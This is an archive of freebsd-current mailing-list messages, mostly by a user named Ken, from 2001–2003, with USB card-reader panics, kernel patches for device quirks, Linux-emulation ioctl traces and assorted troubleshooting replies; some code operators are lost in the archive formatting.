19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR Jan 19 19:41:31 kenshin kernel: (da0:umass-sim0:0:0:0): removing device entry Jan 19 19:41:31 kenshin kernel: Opened disk da0 - 5 After this, FreeBSD panics. I havn't had time to get a full backtrace, but I'll send that once I get it. In the mean-time, is there any fix for the error I'm getting? Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
Hi, I just tried to use a Genesys Logic USB Compact Flash card reader, and the following messages come up, followed by a panic: Jan 19 19:41:30 kenshin kernel: umass0: Genesys Logic USB Storage Device, rev 1. 10/1.13, addr 2 Jan 19 19:41:30 kenshin kernel: umass0: Get Max Lun not supported (STALLED) Jan 19 19:41:30 kenshin kernel: umass0: BBB reset failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-in clear stall failed, IOERROR Jan 19 19:41:30 kenshin kernel: umass0: BBB bulk-out clear stall failed, IOERROR After this, FreeBSD panics. I havn't had time to get a full backtrace, but I'll send that once I get it. In the mean-time, is there any fix for the error I'm getting? Ken I get this on both -current, and -stable :( in this case, I was using my digital camera as a umass device. -Trish I think I know what the problem is. Basically a lot of devices have problems with I guess the 6 byte commands... if you look in scsi_da.c you can find several quirks entries. I'm working on figuring out what to put for my vendor and product id's in order to add the quirk for my device. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
To start, copy a quirk entry and wildcard a lot: Genesys*, *, * Then do camcontrol inquiry daX and change the quirk to be more specific. Backtrace would be useful since you shouldn't be getting a panic. At the worst, your usb reader just wouldn't work. -Nate That was what I was going to try the next time I'm on that computer. I'm not going to be home to try it for a couple of days though, but I'll let people know, and file a PR with the fix once I have it. Yeah, I'll have a backtrace soon too, I think it's related to GEOM though based on what I saw when I booted with boot -v. There is no da0 but GEOM seems to think there is. I don't know what's causing the STABLE panic, but I think that's what's causing the -CURRENT one. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
:Backtrace would be useful since you shouldn't be getting a panic. At the :worst, your usb reader just wouldn't work. : :-Nate At worse the system will crash. The problem is that USB devices sometimes return total garbage for the READ CAPACITY command. This isn't CAM's fault, it is a major issue with the way the USB code works as well as a major issue with the way certain USB devices respond to commands (or request lengths) that they do not understand. Sometimes the USB layer does not get an error or returns the wrong sense code. The USB code can also somtimes get out of sync with the device between commands, causing all sorts of havoc. When I was tracking down the Sony DiskKey problem I hit this problem. The Sony often returned complete garbage for READ CAPACITY until I put the proper quirk entries in. Since the CAM/SCSI layer does not bzero() the scsi_read_capacity_data structure, the result was random capacities and system crashes (e.g. when a certain value would wind up 0 the CAM layer would crash with a divide by 0). I added some debugging to try to catch the problem and it still happens to be in my tree so I can give you guys the diff. This is *NOT* for commit. It's just junk debugging code. Note that I added the M_ZERO option to the malloc. -Matt Hmm, good stuff, but shouldn't something be committed anyway? I mean if it causes a panic just by plugging in the device that's totally unacceptable. I'll provide a backtrace of the crash on my computer tomorrow I suppose (I won't be home until then) and let people know if that's what's causing my crash. Ken Index: scsi_da.c === RCS file: /home/ncvs/src/sys/cam/scsi/scsi_da.c,v retrieving revision 1.42.2.30 diff -u -r1.42.2.30 scsi_da.c --- scsi_da.c 20 Dec 2002 15:20:25 - 1.42.2.30 +++ scsi_da.c 30 Dec 2002 23:22:22 - @@ -546,8 +556,10 @@ rcap = (struct scsi_read_capacity_data *)malloc(sizeof(*rcap), M_TEMP, - M_WAITOK); - + M_WAITOK|M_ZERO); + scsi_ulto4b(313, (void *)rcap-length); + scsi_ulto4b(512, (void *)rcap-addr); + ccb = cam_periph_getccb(periph, /*priority*/1); scsi_read_capacity(ccb-csio, /*retries*/1, @@ -1187,6 +1199,7 @@ softc-minimum_cmd_size = 10; else softc-minimum_cmd_size = 6; + printf(QUIRKS %04x MCS %d MATCH %p\n, softc-quirks, softc-minimum_cmd_size, match); /* * Block our timeout handler while we @@ -1748,6 +1761,8 @@ dp = softc-params; dp-secsize = scsi_4btoul(rdcap-length); dp-sectors = scsi_4btoul(rdcap-addr) + 1; + printf(RDCAP SECSIZE %d\n, (int)dp-secsize); + printf(RDCAP SECTORS %d\n, (int)dp-sectors); /* * Have the controller provide us with a geometry * for this disk. The only time the geometry @@ -1767,6 +1782,7 @@ dp-heads = ccg.heads; dp-secs_per_track = ccg.secs_per_track; dp-cylinders = ccg.cylinders; + printf(RDCAP HEADS %d SPT %d CYL %d\n, (int)ccg.heads, (int)ccg.secs_per_track, (int)ccg.cylinders); } static void To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
On Mon, 20 Jan 2003, Matthew Dillon wrote: :Hmm, good stuff, but shouldn't something be committed anyway? I mean if it :causes a panic just by plugging in the device that's totally unacceptable. :I'll provide a backtrace of the crash on my computer tomorrow I suppose (I :won't be home until then) and let people know if that's what's causing my :crash. : :Ken Yes, but it isn't quite that easy. I did fix the incorrect sense code issue with UMASS, but that's only one of the potentially many problems that could occur. It would probably also help (give us more deterministic panics / errors) if the read_capacity structure were at least bzero'd by CAM/SCSI. But half the problem is with the USB devices themselves. The device firmware for many of these devices, especially the Sony, was written by idiots. The entire USB specification was written by idiots IMHO. For example, the Sony will respond with garbage, and no error whatsoever, to just about any page inquiry command you send it. The Sony doesn't even return reasonable data for the code pages that the USB spec requires! Ultimately this means that the best we can do is to try to ensure that garbage data doesn't result in a system panic. That's a fairly tall order for such a low level subsystem. Yeah, I suppose I understand your point. I could probably at least take a look at doing some modifications here and there to avoid crashes at least. Even with everything you said, it's still the case that we shouldn't allow just plugging in a device to cause a panic. Maybe we should just not try to attach a device we don't know about? Meaning no wildcard matches in the USB code for the probe/attach. That would solve the problem since we wouldn't be attaching anything we don't know about. Then people could submit pr's or whatever with the device ID's for their devices, and the quirks that device needs in order to work. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
I figured out something new on this device: Basically in linux, in order for this device to work, the INQUIRY data has to be faked. Just in case you forgot, this is the Genesys Logic Compact Flash reader/writer. There is some whole big set of crap the driver goes through in linux just to fake the data and send it up to the scsi layer. So no matter what, any quirks I put in the scsi layer won't even be found because FreeBSD can't even do an Inquiry on the device. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
here are a few pointers when you look at the linux driver:
several devices in linux/drivers/usb/storage/unusual_devs.h have the quirk
flag: US_FL_FIX_INQUIRY. in the same directory, searching for
USB_FL_FIX_INQUIRY yields the following in usb.c:
/* Handle those devices which need us to fake
* their inquiry data */
if ((us-srb-cmnd[0] == INQUIRY)
(us-flags US_FL_FIX_INQUIRY)) {
unsigned char data_ptr[36] = {
0x00, 0x80, 0x02, 0x02,
0x1F, 0x00, 0x00, 0x00};
US_DEBUGP(Faking INQUIRY command\n);
fill_inquiry_response(us, data_ptr, 36);
us-srb-result = GOOD 1;
So unless I'm reading it wrong, this device can't respond to a basic
inquiry :-P
Ken
I'll take a look at the Linux driver but I'd be very surprised if the
device can't even respond to a basic inquiry (extended inquiry could
cause problems).
-Nate
To Unsubscribe: send mail to [EMAIL PROTECTED]
with unsubscribe freebsd-current in the body of the message
Re: Performance problems with 5.0-RELEASE
I hope someone could bring light to what's going on. Alltho I'm not whining, I knew what I was getting myself into when I installed 5.0, it would be nice get things solved, for FreeBSD's sake already. Did you by any chance build your own kernel? If so did you leave things like this in: options INVARIANTS #Enable calls of extra sanity options INVARIANT_SUPPORT #Extra sanity checks of internal options WITNESS #Enable checks to detect deadlocks options WITNESS_SKIPSPIN#Don't run witness on spinlocks These will significantly slow down a FreeBSD machine. They're there mainly for debugging purposes, but if you want speed you should take them out. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: 5.0-RELEASE VMWare 3.2
the vmware people don't list 5.0 as a supported os... theres probably a reason for this. Ken On Thu, 23 Jan 2003, Lev Serebryakov wrote: Hello, current! How are you? When I needed to experiment with 4.6-RELEASE and I didn't have ``free'' computer, I installed 4.6-RELEASE on VMWare. It works pretty well and I was totally satisfied. My host is: 2xP!!!-770Mhz, 512Mb of memory, Hardware RAID with 2x40Gb IBM IDE HDDs (and one simple system disk). Host OS is W'2000 WS. Now I'm trying to look at 5.0-RELEASE (I've downloaded ISO of first i386 CD). It doesn't work under VMWare 3.2! Ok, it works, really. But speed is VERY low. I even could not do installation! Unpacking of distributive have been started at normal speed, but after 2 or 3 minutes speed decreased to 6Kb/s and after that to 1Kb/s! `top' on emergency console shows, that cpio+gunzip take only 5% of CPU, system takes 25% of CPU and interrupts takes 70% of CPU! 4.6-RELEASE installs on same VMWare virtual computer without any problems and works very fast! Is it problem of VMWare or 5.0-RELEASE? Is it known problem? I could provide any additional information, if needed. Lev Serebryakov /---\ | FIDONet: 2:5030/661.0 | | E-Mail: [EMAIL PROTECTED] | | Page:http://lev.serebryakov.spb.ru/ | | ICQ UIN: 3670018 | | Phone: You know, if you have world nodelist | \===/ To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: /dev/dsp disappears while being used
This may be related to the vchans stuff in in the pcm driver. Ken On Thu, 23 Jan 2003, Juli Mallett wrote: * De: Alexander Langer [EMAIL PROTECTED] [ Data: 2003-01-23 ] [ Subjecte: /dev/dsp disappears while being used ] When I then symbolically link /dev/dsp to one of the dspX.X devices, XMMS can play sound for some more time, but then these are disappearing as well. Is this a devfs bug? I almost think so, but I'm not sure. Not sure. I always just get dsp to re-appear (I think it gets re- cloned) by doing cat /dev/dsp0.0 for a second. -- Juli Mallett [EMAIL PROTECTED] AIM: BSDFlata -- IRC: juli on EFnet. OpenDarwin, Mono, FreeBSD Developer. ircd-hybrid Developer, EFnet addict. FreeBSD on MIPS-Anything on FreeBSD. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
I actually just went and got a sandisk card reader instead but I'll test
your changes anyway, since I still have the genesys one.
Ken
On Mon, 27 Jan 2003, MIHIRA Sanpei Yoshiro wrote:
I have GENESYS USB2IDE Interface Card(GL641). And I also have
same problem(umass0: BBB bulk-in clear stall failed, IOERROR)
NetBSD was aleady fixed
http://www.netbsd.org/cgi-bin/query-pr-single.pl?number=19971
http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/dev/usb/umass_scsipi.c
I created patch for FreeBSD-current. Try this one.
May I commit this changes?
---
MIHIRA, Sanpei Yoshiro
Tokyo, Japan.
Index: sys/dev/usb/umass.c
===
RCS file: /home/ncvs/src/sys/dev/usb/umass.c,v
retrieving revision 1.71
diff -u -r1.71 umass.c
--- sys/dev/usb/umass.c 21 Jan 2003 08:55:44 - 1.71
+++ sys/dev/usb/umass.c 26 Jan 2003 17:54:45 -
@@ -373,6 +373,16 @@
UMASS_PROTO_ATAPI | UMASS_PROTO_CBI_I,
FORCE_SHORT_INQUIRY
},
+ /* sanpei */
+ { USB_VENDOR_GENESYS, 0x0702 /* GENESYS_GL641USB2 */, RID_WILDCARD,
+ UMASS_PROTO_SCSI | UMASS_PROTO_BBB,
+ FORCE_SHORT_INQUIRY | NO_START_STOP | IGNORE_RESIDUE
+ },
+ /* sanpei */
+ { USB_VENDOR_GENESYS, GL641USB, RID_WILDCARD,
+ UMASS_PROTO_SCSI | UMASS_PROTO_BBB,
+ FORCE_SHORT_INQUIRY | NO_START_STOP | IGNORE_RESIDUE
+ },
{ VID_EOT, PID_EOT, RID_EOT, 0, 0 }
};
@@ -2367,6 +2377,11 @@
*/
if (sc-transform(sc, cmd, cmdlen, rcmd, rcmdlen)) {
+#if 1 /* XXX sanpei */
+ if ((sc-quirks FORCE_SHORT_INQUIRY) (rcmd[0] ==
INQUIRY)) {
+ csio-dxfer_len = SHORT_INQUIRY_LENGTH;
+ }
+#endif
sc-transfer(sc, ccb-ccb_h.target_lun, rcmd, rcmdlen,
csio-data_ptr,
csio-dxfer_len, dir,
@@ -2559,6 +2574,11 @@
(unsigned char *) sc-cam_scsi_sense,
sizeof(sc-cam_scsi_sense),
rcmd, rcmdlen)) {
+#if 1 /* XXX sanpei */
+ if ((sc-quirks FORCE_SHORT_INQUIRY) (rcmd[0] ==
INQUIRY)) {
+ csio-sense_len = SHORT_INQUIRY_LENGTH;
+ }
+#endif
sc-transfer(sc, ccb-ccb_h.target_lun,
rcmd, rcmdlen,
csio-sense_data,
@@ -2750,6 +2770,18 @@
return 1;
}
/* fallthrough */
+#if 1 /* XXX sanpei */
+ case INQUIRY:
+ /* some drives wedge when asked for full inquiry information. */
+ if (sc-quirks FORCE_SHORT_INQUIRY) {
+ memset(*rcmd, 0, cmdlen);
+ memcpy(*rcmd, cmd, cmdlen);
+ *rcmdlen = cmdlen;
+ (*rcmd)[4] = SHORT_INQUIRY_LENGTH;
+ return 1;
+ }
+ /* fallthrough */
+#endif
default:
*rcmd = cmd;/* We don't need to copy it */
*rcmdlen = cmdlen;
To Unsubscribe: send mail to [EMAIL PROTECTED]
with unsubscribe freebsd-current in the body of the message
To Unsubscribe: send mail to [EMAIL PROTECTED]
with unsubscribe freebsd-current in the body of the message
Re: VMWare 3.2 on FreeBSD
No. On Sun, 26 Jan 2003, Theodoor van der Kooij wrote: Hi all, is there a way to run VMWare 3.2 on FreeBSD 5.0? regards, Theodoor van der Kooij. -- Windows: Where do you want to go today? Linux: Where do you want to go tomorrow? FreeBSD: Are you guys coming, or what? To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: FreeBSD panic with umass
I've only had time to do minimal testing, but no panics anymore with this patch. Ken On Mon, 27 Jan 2003, MIHIRA Sanpei Yoshiro wrote: I forgot to add below changes. Please apply this patch and # make -f Makefile.usbdevs Cheers - sanpei Index: sys/dev/usb/usbdevs === RCS file: /home/ncvs/src/sys/dev/usb/usbdevs,v retrieving revision 1.106 diff -u -r1.106 usbdevs --- sys/dev/usb/usbdevs 21 Jan 2003 11:37:54 - 1.106 +++ sys/dev/usb/usbdevs 26 Jan 2003 21:48:19 - @@ -626,6 +626,11 @@ /* Fuji photo products */ product FUJIPHOTO MASS0100 0x0100 Mass Storage +/* Genesys Logic products */ +product GENESYS GL650 0x0604 GL650 Hub +product GENESYS GL641USB0x0700 GL641USB CompactFlash Card Reader +product GENESYS GL641USB2IDE0x0702 GL641USB USB-IDE Bridge + /* Hagiwara products */ product HAGIWARA FGSM0x0002 FlashGate SmartMedia Card Reader product HAGIWARA FGCF0x0003 FlashGate CompactFlash Card Reader To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Hyperthreading and machdep.cpu_idle_hlt
I have HTT for my CPU, is there any hack to the BIOS to enable HyperThreading? You might try updating your BIOS. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: linux-emu ioctl not implemented w/ quake3
I'd say this is a video card driver issue, because with my geforce3 and
the nvidia drivers I could run q3 for as long as I wanted without any
issues.
Ken
On Thu, 3 Apr 2003, Matthias Buelow wrote:
Hi folks,
I'm running 5.0-RELEASE-p7 on i386 and investigated how quake3 (linux)
would be doing at the moment. I had some relative success on 4.7
(quake3 ran ok, in 3d acceleration, but only for about 30 seconds, at
which point the whole machine froze solid) so I hoped it might just
work out. This time at least it didn't freeze but I don't even get so
far. When I run quake3.x86, I get the following:
quake3 spits:
Using XFree86-VidModeExtension Version 2.2
XFree86-VidModeExtension Activated at 640x480
libGL error: failed to open DRM: Operation not permitted
...
(at which point it offers me to use Mesa software rendering
as a fallback which, of course, works...)
and the kernel says:
Apr 3 04:59:23 reiher kernel: linux: 'ioctl' fd=13, cmd=0x6401 ('d',1) not
implemented
Does anybody know what ioctl that would be? I didn't get that on 4.7,
is linux-emu divergent between -stable and -current?
The relevant ktrace excerpt follows:
...
1713 quake3.x86 RET old.setrlimit 12/0xc
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card0
1713 quake3.x86 NAMI /dev/dri/card0
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL open(0xbfbfeb00,0x2,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card0
1713 quake3.x86 NAMI /dev/dri/card0
1713 quake3.x86 RET open 13/0xd
1713 quake3.x86 CALL ioctl(0xd,0xc0086401 ,0xbfbfec00)
1713 quake3.x86 RET ioctl -1 errno -22 Unknown error: -22
1713 quake3.x86 CALL close(0xd)
1713 quake3.x86 RET close 0
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card1
1713 quake3.x86 NAMI /dev/dri/card1
1713 quake3.x86 RET setrlimit JUSTRETURN
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card2
1713 quake3.x86 NAMI /dev/dri/card2
1713 quake3.x86 RET setrlimit JUSTRETURN
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card3
1713 quake3.x86 NAMI /dev/dri/card3
1713 quake3.x86 RET setrlimit JUSTRETURN
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card4
1713 quake3.x86 NAMI /dev/dri/card4
1713 quake3.x86 RET setrlimit JUSTRETURN
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card5
1713 quake3.x86 NAMI /dev/dri/card5
1713 quake3.x86 RET setrlimit JUSTRETURN
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86 NAMI /dev/dri
1713 quake3.x86 RET setrlimit 0
1713 quake3.x86 CALL setrlimit(0xbfbfeb00,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri/card6
1713 quake3.x86 NAMI /dev/dri/card6
1713 quake3.x86 RET setrlimit JUSTRETURN
1713 quake3.x86 CALL ftruncate
1713 quake3.x86 RET ftruncate 1000/0x3e8
1713 quake3.x86 CALL setrlimit(0x2cea6c30,0xbfbfea00,0)
1713 quake3.x86 NAMI /compat/linux/dev/dri
1713 quake3.x86
FreeBSD-STABLE panics when playing DVD's
I just cvsupped to the latest stable (from a -STABLE of 2 months ago) and now when I use vlc, or mplayer to play dvd's FreeBSD panics and reboots. I traced the panic but since I don't have a whole lot of time to sit here on the computer and trace kernel panics, I went the lazy man's route and checked out a source tree from a month ago. That kernel still had the same problem, so I checked a source tree out from 2 months ago, and low and behold the problem is gone. I'm still working on figureing out the exact commit that caused the problem, and when I find out, I'll let everyone here know, but I just thought that someone might already know which commit did it once I mentioned the general time the commit occured. Anyway, Just wanted to let everyone know. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
more on the linuxulator
I'm not sure if I'm sending this to the correct place, but since it is a
problem that will/could be fixed in -CURRENT, I'm assuming this is the right
place.
I tried to get the winex linux binary to run using the linux_base-6.1
libraries and I still got some errors, although not as many:
linux: 'ioctl' fd=6, cmd=0x7201 ('r',1) not implemented
linux: 'ioctl' fd=6, cmd=0x7201 ('r',1) not implemented
linux: 'ioctl' fd=6, cmd=0x7201 ('r',1) not implemented
linux: 'ioctl' fd=6, cmd=0x7201 ('r',1) not implemented
linux: 'ioctl' fd=6, cmd=0x7201 ('r',1) not implemented
I was just wondering if anyone was planning to implement this. If not, I'll
probably do my best to try to get it working.
Ken
To Unsubscribe: send mail to [EMAIL PROTECTED]
with unsubscribe freebsd-current in the body of the message
Re: SoundBlaster PCI-128 performance
On Friday 30 November 2001 02:44 am, you wrote: Have you tried different speakers? Also have you tried moving the soundcard to a different slot? maybe some other card is causing interferance. I have a card that uses the same driver and havn't had a problem. Ken I'm getting low volume, background noise, and slight distortion playing audio through my SoundBlaster PCI-128. I tested it using mpg123, mpg321, vlc, and ogle. I am running a recent -current: FreeBSD 5.0-CURRENT #2: Wed Nov 28 23:28:15 PST 2001 [EMAIL PROTECTED]:/usr/src/sys/i386/compile/NEKO And the boot -v: pcm0: Creative CT5880-C port 0xd800-0xd83f irq 5 at device 12.0 on pci0 pcm0: ac97 codec id 0x83847608 (SigmaTel STAC9708/9711) pcm0: ac97 codec features 18 bit DAC, 18 bit ADC, 5 bit master volume, SigmaTel 3D Enhancement pcm0: ac97 primary codec extended features surround DAC pcm: setmap 40c000, 1000; 0xc1258000 - 40c000 pcm: setmap 3cf000, 1000; 0xc125b000 - 3cf000 pcm-: pcm0 already exists, skipping it PnP OS is disabled in my BIOS. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: parallel port i/o hogs cpu badly; is this normal?
I don't know if there's a way to stop this, but it's normal, whenever I use my Parallel port zip drive, I have similar problems. Ken On Sunday 02 December 2001 01:20 pm, you wrote: I have an HP postsript laser (2100M) on a parallel intfc. [alane ~]$ uname -a FreeBSD wwweasel.geeksrus.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Sun Oct 28 04:44:34 EST 2001 [EMAIL PROTECTED]:/usr/src-4.4-RELEASE/sys/compile/WWWEASEL i386 [alane ~]$ grep -i parallel /var/run/dmesg.boot ppc0: Parallel port at port 0x378-0x37f irq 7 on isa0 When I print a document that is heavy in graphics, it's large. Multi-megabytes. That's expected 'cause postscript is verbose. But what surprises me is that copying that data to the parallel intfc burns up an incredible amount of CPU. Until the document is printed, there's a steady bg buzz of ~10% CPU use, with periods of 50% and even 100% CPU utilization by the 'parallel'[1] process. The load is sufficient that it locks out the mouse on X (interrupt blocking?). Anyone care to comment? Does this sound normal? Is there a way to reduce the amount of CPU needed to drive the parallel port? Notes: [1] /usr/local/libexec/cups/backend/parallel is the device interface using by the print/cups package. To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
panic on 12/20/01 current
Hi, I have just managed to repetedly panic -CURRENT... How you ask? I'll tell you :-D The short story is Run a linux version of XFree86, here's the long story: first, I got the linux version of XFree86, along with all it's driver modules (compliled under linux of course). Then in /usr/compat/linux/dev, I created tty entries using mknod (mknod tty0 c 12 0, etc.. for each tty up to 5) then I did this: /usr/compat/linux/usr/X11R6/bin/XFree86 the XFree86 said error switching terminal's or something similar, and immediately after that, FreeBSD panics with the following: Fatal trap 12 while in kernel mode fault virtual address = 0x4 fault code = supervisor read, page not present instruction pointer = 0x8: 0xc0204f57 stack pointer = 0x10:0xf94dfaf8 frame pointer = 0x10:0xf94dfb14 code segment = base 0x0, limit 0xf, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 262 (XFree86) kernel: type 12 trap, code = 0 I didn't write all the argument adresses down because my computer was stuck beeping at me... just one constant beeep until I restart the computer so I wanted to reboot it as fast as possible, if these are needed, I can go back and get them. They all appeared valid anyway (none of them were NULL) db trace scioctl + 0xa33 spec_ioctl + 0x26 ufs_vnoperatespec + 0x15 vn_ioctl + 0x10f ioctl + 0x288 linux_ioctl_console + 0x209 linux_ioctl + 0x54 That's basically the end, there was more but I think this is all that's relevant... Anyway, If anyone reproduces this or fixes this or even reads this and has more questions, please let me know. Thanks. Ken To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: rpcbind panic
I can second this. I have seen the same panic, but was too lazy to hand copy it. Ken On Mon, 14 Jan 2002, Michael McGoldrick wrote: Kernel and world built with sources cvsupped as of Mon Jan 14 18:44:04 GMT from cvsup.freebsd.org. The panic message is hand copied. Please send me a mail if other details (eg dme sg) are required. Kernel trap 12 with interrupts disabled Fatal trap 12: page fault while in kernel mode fault virtual address = 0x28 fault code= supervisor read, page not present instruction pointer = 0x8:0xc01d9f07 stack pointer = 0x10:0xcb5b8b4c frame pointer = 0x10:0xcb5b8b5c code segment = base 0x0, limit 0xf, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = resume, IOPL = 0 current process = 178 (rpcbind) kernel: type 12 trap, code = 0 stopped at _mtx_unlock_sleep+0x9f : cmpl $0,0x28(%ebx) To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: Trace for rpcbind panic
This is the same backtrace I got when I tried it too... The system would get all the way through booting, then fam (I'm assuming) sent something to rpcbind, which then caused this panic. Ken On Mon, 14 Jan 2002, Michael McGoldrick wrote: The trace was short, so I wrote the whole thing down. _mtx_unlock_sleep(c232c834,0,0,0) at _mtx_unlock_sleep+0x9f unp_externalize(c0b6ab00,c0b6ac00,cb5d3ccc,cb5d3c8c,cb5d3ccc) at unp_externalize +0x38e soreceive(ca29d420,cb5d3c18,cb5d3c44,0,cb5d3c1c) at soreceive+0x376 recvit(ca284304,b,cb5d3ccc,0,ca284200) at recvit+0x121 recvmsg(ca284304,cb5d3d20,281221c8,bfbfd550,2328) at recvmsg+0xdb syscall(2f,2f,2f,2328,bfbfd550) at syscall+0x2d4 syscall_with_err_pushed() at syscall_with_err_pushed+0x1b --- syscall(27, FreeBSD ELF, recvmsg), eip=0x280c0657, esp=0xbfbfd500, ebp=0xbfb fd5cc --- To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: AMD AGP Bug
You should check the archives of the FreeBSD mailing lists before sending a message to 4 of the lists. This quiestion has been answered several times on the FreeBSD lists. The answer is that this isn't even really an AMD AGP bug, it's a bug in the way linux handles mapping it's AGP memory. FreeBSD isn't affected by this at all. Ken On Wed, 30 Jan 2002, Cameron, Frank wrote: Has this issue been addressed in FreeBSD: http://www.geocrawler.com/lists/3/Linux/35/175/7626960/ http://slashdot.org/article.pl?sid=02/01/24/1910227mode=thread To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with unsubscribe freebsd-current in the body of the message
Re: AMD AGP Bug
